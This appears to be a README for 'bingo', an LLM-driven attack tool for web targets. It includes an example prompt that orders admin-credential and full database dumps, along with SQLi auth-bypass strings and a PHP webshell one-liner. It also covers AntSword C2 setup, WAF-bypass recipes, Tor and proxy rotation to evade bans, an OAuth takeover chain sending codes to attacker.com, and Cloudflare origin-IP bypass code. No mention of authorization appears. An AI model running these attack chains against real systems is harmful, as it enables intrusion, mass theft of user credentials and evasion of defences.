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AI-powered red team terminal — Zero-Hallucination · WAF bypass · XSS·Upload·SSRF·OAuth·GraphQL·Smuggling exploit chains · multi-model · multi-language

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bingo

AI-Powered Red Team Terminal

Version Python License Platform

🌐 Language: English · 한국어 · 中文

⚠️ Windows is NOT supported. bingo runs on macOS and Linux only. Windows support has been permanently discontinued as of v3.2.45.

DeepSeek · Claude · GPT · GLM · Qwen · Ollama · Custom


Install

pip install bingo-ai
bingo

Update:

bingo --update

Git clone:

git clone https://github.com/bingook/bingo.git
cd bingo && bash install.sh

Quick Start

bingo                        # Launch
bingo scan https://target    # Auto full scan
bingo --version
bingo --reset

First launch: select language → enter API key → start.


How to Use

Just type your target and task in the chat window. No commands needed.

Example prompt (paste into bingo):

Target: https://example.com

Tasks:
1. Full recon — detect WAF, DB type, tech stack
2. SQLi — error → union → blind → time-based
3. Admin credentials — dump admin/user/member tables
4. Admin login — screenshot proof
5. DB full dump — run DbDumper on success

Just describe what you want. AI decides everything automatically.


Core Capabilities

Area What bingo does
Recon WAF detection, tech fingerprinting, crawl all pages/JS/API endpoints
SQLi Error-based → Union → Boolean blind → Time-based (all DB types)
WAF Bypass Cloudflare / AWS WAF / ModSecurity — auto-selected bypass
XSS Stored / Reflected / DOM — session hijack on success
SSRF Cloud metadata (AWS/GCP/Azure) endpoint testing
File Upload Extension bypass, webshell upload
Auth Attack Login brute force, SQLi auth bypass, CAPTCHA auto-solve
IDOR/BOLA Object ID enumeration, horizontal privilege escalation
JWT/OAuth alg:none, weak secret, redirect_uri abuse, open client registration chain ATO (v3.2.65)
GraphQL Introspection, batch attack, field injection
HTTP Smuggling CL.TE / TE.CL desync
Credential Dump Extract hashes → suggest hashcat command
DB Dump Full table dump on confirmed SQLi (DbDumper v2.7)
Screenshot Admin panel auto-screenshot via Playwright
Report Auto-saved markdown report with CVSS scores

Supported AI Models

Provider Example models
OpenAI gpt-4o, gpt-4-turbo, o1
Anthropic claude-3-5-sonnet, claude-opus-4
DeepSeek deepseek-chat, deepseek-reasoner
GLM glm-4, glm-5
Qwen qwen-max, qwen-plus
Ollama any local model
Custom any OpenAI-compatible endpoint

WAF Bypass — Auto Selected

WAF Bypass used
Cloudflare Double URL encode → Unicode → UA spoof
AWS WAF Encoding → SLEEP→subquery → XFF header
ModSecurity Space/**/ → IF→CASE WHEN → mixed case
Nginx/OpenResty %0a newline → comment → obfuscation
Chinese WAF Null byte → overlong UTF-8 → function replace

Burp Engine — 자동 실행 / 自动触发 / Auto-Triggered (v3.2.51)

🇰🇷 한국어

URL + 취약점 키워드가 입력에 함께 있으면 Burp 엔진이 자동 실행됩니다. 별도 명령 불필요.

bingo> https://target.com sqli 찾아줘
bingo> https://target.com xss 테스트
bingo> https://target.com rce 익스플로잇

자동 트리거 키워드: sqli xss rce ssrf xxe inject payload fuzz scan exploit oob

URL이 없으면 실행 안 됨. URL + 키워드 둘 다 필요.


🇨🇳 中文

URL 与漏洞关键词同时出现时,Burp 引擎自动触发,无需手动命令。

bingo> https://target.com sqli渗透
bingo> https://target.com xss测试
bingo> https://target.com rce利用

自动触发关键词:sqli xss rce ssrf xxe inject payload fuzz scan exploit oob

没有 URL 则不触发。 URL 与关键词缺一不可。


🇺🇸 English

Burp Engine auto-runs when a URL and a vulnerability keyword appear together. No extra command needed.

bingo> https://target.com sqli test
bingo> https://target.com xss scan
bingo> https://target.com rce exploit

Auto-trigger keywords: sqli xss rce ssrf xxe inject payload fuzz scan exploit oob

No URL = no trigger. Both URL and keyword are required.


Anti-Hallucination — 4-Layer Guard

Every AI response is blocked unless it passes all 4 checks:

  1. Code block guard — rejects empty stubs, JSON plans
  2. Text intercept — rejects AI self-confessions
  3. Fake credential block — no credentials without HTTP proof
  4. Unproven conclusion block — no "SQLi confirmed" without code execution

Evidence labels in reports:

Label Meaning
✅ VERIFIED Real HTTP response confirmed
🟡 LIKELY Partial evidence
🔍 INFERRED Reasoning only — verify manually

bingo scan — Full Auto Pipeline

bingo scan https://target.com

Runs 5 phases automatically, no interaction needed:

Phase What happens
1. Recon Tech fingerprint, WAF detect, endpoint map
2. Collect Admin panels, sensitive files, parameter discovery
3. Test SQLi / LFI / XSS / SSRF / IDOR probing
4. Exploit WAF bypass, data extraction, credential dump
5. Report Markdown report with CVSS scores + evidence

Report saved to: ~/.config/bingo/reports/report_<domain>.md


Proxy Pool Rotation (v3.2.18)

Automatically rotates IP addresses to bypass WAF bans, rate limits, and IP blocks.

Supported Proxy Types

Type Format Notes
HTTP http://ip:port Basic proxy
HTTP + Auth http://user:pass@ip:port With credentials
HTTPS https://ip:port SSL tunnel
SOCKS5 socks5://ip:port Requires PySocks
SOCKS5h socks5h://ip:port DNS also through proxy (more anonymous)
Tor socks5h://127.0.0.1:9050 Tor Browser / tor daemon
API URL string Auto-fetch from ProxyScrape, Webshare, custom

Quick Start

# Add a single proxy
/proxy add socks5://1.2.3.4:1080

# Enable Tor (must have Tor running: brew install tor && tor)
/proxy tor

# Fetch free proxies from API presets automatically
/proxy api

# Load a proxy list file (one proxy per line)
/proxy file ~/proxies.txt

# Check pool status
/proxy list

All /proxy Sub-commands

Command Description
/proxy list Show pool status + all proxies
/proxy add <url> Add a single proxy manually
/proxy file <path> Load proxies from text file (one per line)
/proxy api [url] Auto-fetch from API URL or choose preset
/proxy tor [password] Enable Tor mode (optional: control port password)
/proxy rotate Force immediate switch to next proxy
/proxy test Test current proxy connection (latency check)
/proxy unban Unban all banned proxies (reset fail marks)
/proxy clear Clear entire pool
/proxy off Disable proxy (requests go direct)

How Auto-Rotation Works

When bingo detects a ban (HTTP 429, 403, IP block, connection reset):

1. ProxyManager.report_ban() marks current proxy as BANNED
2. Switches to the next available proxy automatically
3. If Tor mode: sends NEWNYM signal → new Tor circuit (new IP)
4. Injects new proxy URL into AI hint so next script uses it
5. Waits 3s (vs 15s without proxy) and retries

AI-generated scripts automatically receive:

# [PROXY_ROTATED: now using socks5://5.6.7.8:9090]
PROXIES = {'http': 'socks5://5.6.7.8:9090', 'https': 'socks5://5.6.7.8:9090'}
session.get(url, proxies=PROXIES, timeout=15, verify=False)

Tor Setup Guide

Step 1 — Install Tor:

# macOS
brew install tor && brew services start tor

# Ubuntu/Debian
sudo apt install tor && sudo systemctl start tor

Step 2 — (Optional) Enable Tor Control Port:
Edit /etc/tor/torrc (Linux) or /usr/local/etc/tor/torrc (macOS):

ControlPort 9051
CookieAuthentication 1

Then restart: sudo systemctl restart tor

Step 3 — Enable in bingo:

/proxy tor           # no password (cookie auth)
/proxy tor mypassword  # with HashedControlPassword

Step 4 — Install stem for circuit rotation:

pip install stem

Without stem, Tor still works but circuit rotation (new IP per ban) is disabled.

API Preset Fetching

/proxy api

Choose from built-in presets:

1. ProxyScrape (SOCKS5) — free, 5000+ proxies
2. ProxyScrape (HTTP)   — free, HTTP proxies
3. ProxyScrape (SOCKS4) — free, SOCKS4 proxies
4. GeoNode Free         — filtered, 90%+ uptime
0. Custom URL           — enter your own API endpoint

Or specify URL directly:

/proxy api https://api.proxyscrape.com/v3/...
/proxy api https://your-own-proxy-api.com/list.txt

Supported API response formats:

  • Plain text, one proxy per line (ip:port or scheme://ip:port)
  • JSON array: ["socks5://1.2.3.4:1080", ...]

Proxy in AI-Generated Scripts

When /proxy is active, every AI script automatically includes:

import requests

# [bingo v3.2.18: PROXY ACTIVE]
PROXIES = {'http': 'socks5://1.2.3.4:1080', 'https': 'socks5://1.2.3.4:1080'}
s = requests.Session()
s.proxies.update(PROXIES)
s.verify = False   # required for Tor / self-signed certs

r = s.get("https://target.com/api/...", timeout=15)

Requirements

pip install PySocks  # SOCKS5 proxy support (auto-installed)
pip install stem     # Tor circuit rotation (optional)

Both are included in pyproject.toml dependencies — installed automatically with bingo.


Commands

Type / in the chat to open command menu (arrow keys to navigate).

Command What it does
/scan <url> Full red team pipeline
/waf <url> WAF detection + bypass only
/crack [hash] Hash crack — online lookup → offline
/proxy [sub] Proxy pool rotation (new v3.2.18)
/stop Stop running task
/tools Show all tools + install status
/tools install <name> Install a specific tool
/tools install all Install all missing tools at once
/model Add or switch AI model
/skill <keyword> Search skill knowledge base
/history View conversation history
/export Save conversation as .md
/config View current settings
/lang Change language (ko / zh / en)
/clear Clear screen
/quit Exit

Tool install examples:

/tools                        # See all tools
/tools install nmap           # Auto-install nmap
/tools install nuclei ffuf    # Install multiple
/tools install all            # Install everything

Hash crack examples:

/crack                              # Auto-extract from last response
/crack $2y$10$Eix...               # Crack specific hash
/crack -w ~/rockyou.txt             # Custom wordlist

Config & Data Storage

Path Content
~/.config/bingo/config.json API keys, model, language
~/.config/bingo/reports/ Auto-saved scan reports
~/.config/bingo/sessions/ Chat session history
~/.bingo/tools/ Auto-downloaded Go tools
BINGO_REPORTS_DIR Override report path (env var)

Config file locations by OS:

OS Path
macOS ~/Library/Application Support/bingo/config.json
Linux ~/.config/bingo/config.json

Mobile — APK / IPA Analysis (v2.2.8)

bingo can analyze Android APK and iOS IPA files directly from the chat window.

Android APK

# In bingo chat
bingo> analyze target.apk
bingo> target.apk secret scan
bingo> pentest com.example.app
Method Speed Command
TruffleHog native ⚡ 9× faster bingo> target.apk trufflehog
jadx full decompile Thorough bingo> target.apk jadx full scan

CLI / Python:

trufflehog filesystem target.apk --json --no-verification
# Docker (no install needed):
docker run -v $(pwd):/work trufflesecurity/trufflehog:latest filesystem /work/target.apk --json

Install TruffleHog:

brew install trufflesecurity/trufflehog/trufflehog   # macOS
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin  # Linux

iOS IPA

# In bingo chat
bingo> analyze target.ipa
bingo> ios swift decompile target.ipa
bingo> malimite target.ipa

Requires: Java 17+ and Malimite.jar

brew install openjdk@17
# Download Malimite.jar from https://github.com/LaurieWired/Malimite/releases
mkdir -p ~/tools && mv ~/Downloads/Malimite.jar ~/tools/
java -jar ~/tools/Malimite.jar target.ipa --output ./decompiled/
trufflehog filesystem ./decompiled/ --json --no-verification

Auto-detect (APK or IPA)

bingo> auto scan target.apk    # AI picks the right method automatically
bingo> auto scan target.ipa

What bingo extracts

Item Detail
Hardcoded secrets AWS keys, Google API, Firebase, Stripe, JWT, GitHub token
Permissions All declared + dangerous permissions
Exported components Activities, Services, Receivers, Providers
Deep links / URL schemes Intent filters, custom scheme handlers
Network endpoints API URLs extracted from code + assets
SSL pinning Detected → bypass guide auto-generated
3rd party SDKs Firebase, Sentry, Analytics, etc.

Post-Exploitation — Webshell Deploy (v2.2.5)

After confirmed SQLi, bingo runs the full post-exploit chain automatically:

Chain: SQLi login bypass → file upload → webshell → AntSword connect

# In bingo chat — just describe the goal
bingo> I have SQLi on https://target.com/login  get admin access and deploy webshell

bingo handles each step:

Step What happens
1. SQLi auth bypass admin'-- / ' OR 1=1-- injected into login form
2. Session capture Auth cookies saved automatically
3. File upload Webshell uploaded via authenticated upload endpoint
4. Webshell test id, whoami, uname -a executed to confirm RCE
5. AntSword config Connection string printed for AntSword C2
6. DB full dump DbDumper runs automatically after shell confirmed

Webshell types auto-selected:

Backend Webshell
PHP <?php system($_GET['cmd']); ?>
JSP Runtime.exec() shell
ASPX ProcessStartInfo shell

DB Dump (v2.9.6)

Triggered automatically after confirmed SQLi / webshell / RCE:

  • Dumps: member / user / admin / g5_member / xe_member
  • No row limitmax_rows_per_table=0 (unlimited), entire table dumped
  • Saves credentials → CREDENTIALS_{table}.json
  • Detects hash type → prints hashcat -m {mode} command
  • Re-attempts admin login with extracted credentials

Save location (auto-detected by OS):

OS Path
macOS ~/Desktop/dump/{target}_{timestamp}/
Windows ~/Desktop/dump/{target}_{timestamp}/ (OneDrive Desktop auto-detected)
Linux ~/Desktop/dump/{target}_{timestamp}/ (falls back to ~/dump/ if no Desktop)

v2.9.6 fix: AI-generated extraction code was saving to /tmp/ and ignoring DbDumper. Now enforced: /tmp/ forbidden, Desktop path mandatory, FLOOR injection query_fn template added.


XSS Scan (v2.9.6)

bingo detects reflected and stored XSS automatically:

  • Scans all parameters for reflection contexts (HTML / Attribute / JS / URL)
  • Deduplicates reflection positions — same context printed only once even if it appears multiple times in the HTML response
  • Loop detector distinguishes legitimate scan output from actual infinite loops
  • Outputs: Reflection at: {param}={context} + unique count

Why this matters: some pages reflect the same XSS probe tens of times in a single response. Previous versions triggered the infinite-loop kill after 5 identical lines. v2.9.5 raises the threshold to 25 for scan result lines and enforces deduplication in the AI-generated scan code.


OAuth Open Client Registration Chain Attack (v3.2.65)

bingo v3.2.65 adds sec-web-oauth-open-reg — a full attack chain for the critical OAuth misconfiguration where unauthenticated dynamic client registration enables account takeover.

Attack Chain

/.well-known/oauth-authorization-server
        ↓
  registration_endpoint (no auth required)
        ↓
  Attacker registers client → gets client_id + client_secret
        ↓
  Authorization request with attacker redirect_uri
        ↓
  Victim clicks → authorization code sent to attacker.com
        ↓
  Token exchange (PKCE not enforced)
        ↓
  Wildcard CORS → cross-origin token read
        ↓
  Account Takeover ✓

What bingo checks automatically

Check Skill covers
/.well-known/oauth-authorization-server metadata probe
registration_endpoint unauthenticated access
redirect_uri whitelist bypass
PKCE (code_challenge) enforcement
Access-Control-Allow-Origin: * + Credentials
Authorization code hijack PoC

Usage

bingo skill show sec-web-oauth-open-reg
bingo skill search oauth

DApp / Web3 / Smart Contract Audit (v3.2.62)

bingo now includes 28 dedicated DApp/Web3/Smart Contract audit skills — auto-triggered when Web3 keywords are detected.

Auto-trigger Keywords

Any input containing these keywords automatically loads the Web3 skill context:

web3 dapp defi nft smart contract solidity blockchain ethereum abi metamask walletconnect wagmi ethers viem reentrancy flash loan oracle erc20 erc721 delegatecall selfdestruct ecrecover swc-

No extra command needed — just describe your DApp target.

bingo> audit https://app.uniswap.org smart contract
bingo> https://defi-target.com reentrancy vulnerability check
bingo> analyze solidity contract for flash loan attack
bingo> dapp pentest https://app.example.com  # auto wallet generation + SIWE login

DApp Audit Skills (28 total)

# Skill ID What it does
1 web3-dapp-fingerprint Technology stack fingerprint (ethers/web3.js/wagmi/viem)
2 web3-rpc-enum Ethereum JSON-RPC endpoint enumeration + exposure detection
3 web3-abi-extract Contract ABI + function signature extraction without wallet
4 web3-reentrancy SWC-107 reentrancy detection (Slither pattern)
5 web3-integer-overflow SWC-101 integer overflow/underflow detection
6 web3-access-control SWC-105 unprotected functions + ownership takeover
7 web3-tx-order-dependency SWC-114 frontrunning / TX order dependency
8 web3-flash-loan Flash loan attack vector analysis (price oracle manipulation)
9 web3-oracle-manipulation On-chain oracle manipulation / TWAP bypass
10 web3-signature-replay SWC-121 signature replay / EIP-712 missing
11 web3-delegate-call SWC-112 delegatecall storage slot collision
12 web3-selfdestruct SWC-106 selfdestruct misuse + forced ether send
13 web3-unchecked-call SWC-104 unchecked low-level call return value
14 web3-timestamp-dependence SWC-116 block timestamp dependence
15 web3-private-data SWC-136 private storage data exposure
16 web3-wallet-connect-enum WalletConnect/MetaMask DApp API enumeration without wallet
17 web3-graphql-subgraph DApp GraphQL subgraph query vulnerabilities
18 web3-nft-metadata-ssrf NFT metadata SSRF / URI manipulation
19 web3-defi-full-pipeline Full DeFi attack pipeline (auto-selected)
20 web3-contract-audit Smart contract comprehensive audit report
21 web3-blind-signing-audit EIP-712/7730 blind signing audit (Trail of Bits / Bybit pattern)
22 web3-safe-multisig-optype Safe multisig operation-type tampering (Bybit $1.5B hack vector)
23 web3-frontend-injection DApp frontend JS injection / address swapping (EtherDelta pattern)
24 web3-weak-randomness SWC-120 weak on-chain randomness (block.timestamp/blockhash predictable)
25 web3-dos-gas-limit SWC-128 gas limit DoS / unbounded loop / external dependency DoS
26 web3-wallet-gen [v3.2.62] Instantly generate a test Ethereum wallet (address + private key)
27 web3-siwe-auth [v3.2.62] Sign-In with Ethereum (EIP-4361) — auto DApp login
28 web3-dapp-full-auth [v3.2.62] Wallet gen → SIWE login → session token → full API pentest pipeline

Key Vulnerability Coverage

Vulnerability SWC Severity Coverage
Reentrancy SWC-107 CRITICAL
Integer Overflow SWC-101 HIGH
Unprotected Functions SWC-105 CRITICAL
Delegatecall Collision SWC-112 HIGH
Signature Replay SWC-121 HIGH
Timestamp Dependence SWC-116 MEDIUM
Weak Randomness SWC-120 HIGH
Gas Limit DoS SWC-128 HIGH
Blind Signing (EIP-7730) HIGH
Safe Op-Type Tampering CRITICAL ✅ (Bybit vector)
Frontend JS Injection CRITICAL ✅ (EtherDelta pattern)
Flash Loan Attack CRITICAL
Oracle Manipulation CRITICAL
NFT Metadata SSRF HIGH
DApp Auth Bypass (SIWE) HIGH new
IDOR/BOLA on Auth APIs HIGH new

DApp Authentication — Wallet Generation + SIWE Login (v3.2.62)

Most DApps require a wallet connection before any API access. bingo now handles this automatically:

bingo> pentest this DApp: https://app.target.com

# bingo automatically:
# 1. [web3-wallet-gen]      Generates a fresh test Ethereum wallet (no real funds)
# 2. [web3-siwe-auth]       Signs EIP-4361 challenge → obtains session token
# 3. [web3-dapp-full-auth]  Tests ALL authenticated API endpoints (IDOR/BOLA/privilege escalation)

How it works:

All DApp APIs → 401 Unauthorized (without wallet)
                    ↓
           bingo creates test wallet
           Address: 0xAbCd... (new, empty)
                    ↓
       DApp sends sign challenge (EIP-4361)
                    ↓
       bingo signs with test wallet key
                    ↓
       Session token obtained → Bearer eyJ...
                    ↓
       bingo fuzzes ALL authenticated endpoints
       → IDOR / BOLA / privilege escalation testing

⚠️ Safety: bingo generates a brand-new test wallet with zero funds. No existing wallet or private key is ever required. Never send real ETH/tokens to the generated test address.

Blind Signing / EIP-7730 (Bybit $1.5B Attack Vector)

The Bybit $1.5B hack (Feb 2025) exploited a Safe multisig blind signing flaw:

  • Attackers changed operation parameter from 0 (call) → 1 (delegatecall)
  • Signers could not detect the change on hardware wallets
  • EIP-712 structured data was insufficient to prevent this

bingo's web3-blind-signing-audit and web3-safe-multisig-optype skills detect these patterns:

[CRITICAL] Operation Type UI Not Displayed
           Safe transaction operation type (0=call, 1=delegatecall) not shown in UI
           Fix: Display operation type explicitly in signing UI

[HIGH] EIP-7730 Not Implemented
       Hardware wallet cannot display human-readable transaction details
       Fix: Submit JSON manifest to https://github.com/LedgerHQ/clear-signing-erc7730-registry

Example: DApp Full Pentest (with wallet auth)

# DApp that requires wallet login
bingo> https://app.defi-protocol.com dapp pentest

# bingo automatically:
# 1. Fingerprints DApp tech stack (ethers/wagmi/web3.js)
# 2. Generates test wallet: 0xNewAddress... (TEST ONLY — no real funds)
# 3. Performs SIWE login (EIP-4361) → gets session token
# 4. Tests all authenticated endpoints for IDOR/BOLA
# 5. Scans smart contracts for SWC vulnerabilities
# 6. Checks EIP-7730 blind signing compliance
# 7. Tests frontend for JS injection / address swapping
# 8. Generates full pentest report with severity ratings

Cloudflare Bypass (Real IP Discovery)

import requests, urllib3
urllib3.disable_warnings()
REAL_IP = "x.x.x.x"  # from SPF/DNS records
s = requests.Session()
s.verify = False
r = s.get(f"https://{REAL_IP}/", headers={"Host": "target.com"})

Find real IP: dig TXT target.com → look for SPF record IP.


Changelog

Version Summary
v3.2.65 OAuth Open Client Registration Chain Attack/.well-known/oauth-authorization-server discovery → unauthenticated client registration → redirect_uri hijack → PKCE bypass → wildcard CORS → full account takeover chain (sec-web-oauth-open-reg); proxy deadlock fix (RLock); SyntaxWarning cleanup in DApp skills
v3.2.64 Proxy deadlock fix (RLock), skills_data15.py SyntaxWarning cleanup
v3.2.62 DApp wallet auth — test wallet generation, SIWE login (EIP-4361), full authenticated API pentest pipeline (28 skills total)
v3.2.61 DApp/Web3 audit — 25 smart contract skills, EIP-7730 blind signing, Bybit Safe op-type, frontend injection, SWC-120/128
v3.2.57 Anti-hallucination labels (VERIFIED/LIKELY/INFERRED), Playwright JS detection, skill loading fixes
v3.2.45 macOS/Linux only — Windows support permanently discontinued
v3.2.28 Core engine restored — rolled back to most stable base
v3.2.18 Proxy Pool Rotation — HTTP/HTTPS/SOCKS5/Tor/API, auto-rotate on ban, RULE 26-T
v3.2.17 False positive fix: Body: <!DOCTYPE html> loop detector, RULE 26-S
v3.2.16 CAPTCHA false positive fix — script tags excluded from detection
v3.2.15 NameError prevention: RULE 26-Q — variables must be initialized before use
v3.2.14 Login efficiency: pivot to JS analysis after 3× HTTP 500 (RULE 26-P)
v3.0.6 SQLi extraction: auto IP-ban detection + X-Forwarded-For rotation (12 headers), partial dump on exhaustion
v3.0.5 Fix: final report now saved to Desktop/dump/target/ instead of ~/.config/bingo/reports/
v3.0.4 Post-credential: admin page discovery + IP restriction bypass (header spoofing/SSRF/real-IP) + report
v3.0.3 DB dump: DbDumper first → auto fallback to manual pagination if DbDumper fails or misses STEP 0 tables
v3.0.2 DB dump: AI verifies member tables via actual sample data (SELECT LIMIT 5), not just column names
v3.0.1 DB table identification: column-name based detection + obfuscated table support
v3.0.0 DbDumper flexible usage — AI selects method by context (no WAF / WAF / WebShell)
v2.9.8 Simplified save rules: /tmp/ allowed for intermediate files, Desktop for final output only
v2.9.7 All final output files enforced to Desktop/dump/target/
v2.9.6 DB dump: forbid /tmp/ save, enforce Desktop path, add FLOOR injection query_fn template
v2.9.5 XSS reflection dedup fix — prevent false infinite-loop kill on repeated reflections
v2.9.3 DB dump: no row limit + Desktop save path (macOS/Windows auto-detect)
v2.9.2 CMS bias fix — fresh detection per target, zero assumptions
v2.9.1 Bug fixes: variable substitution, warning spam, false positives
v2.9.0 11 new modules: HTTP smuggling, GraphQL, OAuth/JWT, Playwright, alerts
v2.8.0 SQLi engine overhaul — sqlmap-level precision
v2.7.0 Auto DB dump on successful breach
v2.3.0 Burp Engine — full Repeater/Intruder/Scanner in pure Python
v2.2.0 Pentest Precision Engine — WAF bypass, CAPTCHA OCR
v2.1.0 API fuzzing, post-report interactive actions

Languages

/lang        # Switch language in chat
Language Code
English en
한국어 ko
中文 zh

Requirements

  • Python 3.12 (required for Playwright compatibility)
  • API key for at least one supported model
  • (Optional) VPN for anonymity — auto-detected and displayed

Contributing

git clone https://github.com/bingook/bingo.git
cd bingo && bash install.sh

Pull requests welcome. Open an issue first for major changes.


License

MIT © 2026 bingook


Type your target. bingo does the rest.

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